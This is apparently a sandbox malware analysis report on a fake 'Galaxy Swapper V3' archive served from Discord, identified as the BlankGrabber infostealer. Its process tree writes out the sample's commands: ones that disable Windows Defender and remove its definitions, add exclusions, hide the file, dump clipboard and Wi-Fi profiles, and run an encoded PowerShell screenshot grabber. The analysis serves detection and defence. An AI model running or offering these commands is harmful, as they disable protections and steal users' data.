Overview

overview

10

Static

static

1

URLScan

urlscan

1

https://cdn.discorda...

windows10-2004-x64

10

Analysis

  • max time kernel
    539s
  • max time network
    536s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-12-2024 20:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://cdn.discordapp.com/attachments/1307156721067753553/1308565213712220323/Galaxy_Swapper_V3.rar?ex=6763fa92&is=6762a912&hm=78527d0939f2f333e63d16b32a21e711c657fad8e41aebcaf52044bf66a9caac&

Score
10/10
blankgrabbercollectioncredential_accessdefense_evasiondiscoveryexecutionpersistencephishingprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • A stealer written in Python and packaged with Pyinstaller 1 IoCs
  • Blankgrabber family
    blankgrabber
  • blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • A potential corporate email address has been identified in the URL: water.css@2
    phishing
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 16 IoCs
    evasion
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1307156721067753553/1308565213712220323/Galaxy_Swapper_V3.rar?ex=6763fa92&is=6762a912&hm=78527d0939f2f333e63d16b32a21e711c657fad8e41aebcaf52044bf66a9caac&
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4480
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9b43a46f8,0x7ff9b43a4708,0x7ff9b43a4718
      2⤵
        PID:1984
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
        2⤵
          PID:3836
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:376
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
          2⤵
            PID:4100
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
            2⤵
              PID:552
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
              2⤵
                PID:3144
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4940 /prefetch:8
                2⤵
                  PID:1768
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4940 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2508
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5076 /prefetch:8
                  2⤵
                    PID:2336
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
                    2⤵
                      PID:364
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2116,8309151409040071200,8275198746336709747,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5388 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2524
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:4216
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:464
                      • C:\Windows\System32\rundll32.exe
                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                        1⤵
                          PID:3280
                        • C:\Program Files\7-Zip\7zFM.exe
                          "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Galaxy Swapper V3.rar"
                          1⤵
                          • Modifies registry class
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          PID:4768
                          • C:\Windows\system32\NOTEPAD.EXE
                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zO0A29F538\infinite key.txt
                            2⤵
                            • Suspicious use of FindShellTrayWindow
                            PID:1048
                        • C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe
                          "C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe"
                          1⤵
                          • Executes dropped EXE
                          PID:4800
                          • C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe
                            "C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe"
                            2⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4304
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe'"
                              3⤵
                                PID:4196
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe'
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1384
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                3⤵
                                  PID:3256
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3132
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                  3⤵
                                    PID:3692
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist /FO LIST
                                      4⤵
                                      • Enumerates processes with tasklist
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3940
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                    3⤵
                                      PID:1116
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic csproduct get uuid
                                        4⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5052
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                      3⤵
                                        PID:5456
                                        • C:\Windows\system32\reg.exe
                                          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                          4⤵
                                            PID:5512
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                          3⤵
                                            PID:5536
                                            • C:\Windows\system32\reg.exe
                                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                              4⤵
                                                PID:5588
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                              3⤵
                                                PID:5600
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic path win32_VideoController get name
                                                  4⤵
                                                  • Detects videocard installed
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5660
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                3⤵
                                                  PID:5700
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic path win32_VideoController get name
                                                    4⤵
                                                    • Detects videocard installed
                                                    PID:5756
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe""
                                                  3⤵
                                                  • Hide Artifacts: Hidden Files and Directories
                                                  PID:5792
                                                  • C:\Windows\system32\attrib.exe
                                                    attrib +h +s "C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe"
                                                    4⤵
                                                    • Views/modifies file attributes
                                                    PID:5288
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌​​.scr'"
                                                  3⤵
                                                    PID:5820
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‌​​.scr'
                                                      4⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:6100
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                    3⤵
                                                      PID:5904
                                                      • C:\Windows\system32\tasklist.exe
                                                        tasklist /FO LIST
                                                        4⤵
                                                        • Enumerates processes with tasklist
                                                        PID:6084
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                      3⤵
                                                        PID:5920
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist /FO LIST
                                                          4⤵
                                                          • Enumerates processes with tasklist
                                                          PID:6076
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                        3⤵
                                                          PID:5296
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                            4⤵
                                                              PID:5720
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                            3⤵
                                                            • Clipboard Data
                                                            PID:5316
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-Clipboard
                                                              4⤵
                                                              • Clipboard Data
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:5680
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                            3⤵
                                                              PID:5220
                                                              • C:\Windows\system32\tasklist.exe
                                                                tasklist /FO LIST
                                                                4⤵
                                                                • Enumerates processes with tasklist
                                                                PID:5424
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                              3⤵
                                                                PID:2964
                                                                • C:\Windows\system32\tree.com
                                                                  tree /A /F
                                                                  4⤵
                                                                    PID:5708
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                  3⤵
                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                  PID:1776
                                                                  • C:\Windows\system32\netsh.exe
                                                                    netsh wlan show profile
                                                                    4⤵
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                                                    PID:5664
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                  3⤵
                                                                    PID:3256
                                                                    • C:\Windows\system32\systeminfo.exe
                                                                      systeminfo
                                                                      4⤵
                                                                      • Gathers system information
                                                                      PID:5764
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                    3⤵
                                                                      PID:5216
                                                                      • C:\Windows\system32\reg.exe
                                                                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                        4⤵
                                                                          PID:5704
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                        3⤵
                                                                          PID:5356
                                                                          • C:\Windows\System32\Conhost.exe
                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                            4⤵
                                                                              PID:5588
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGc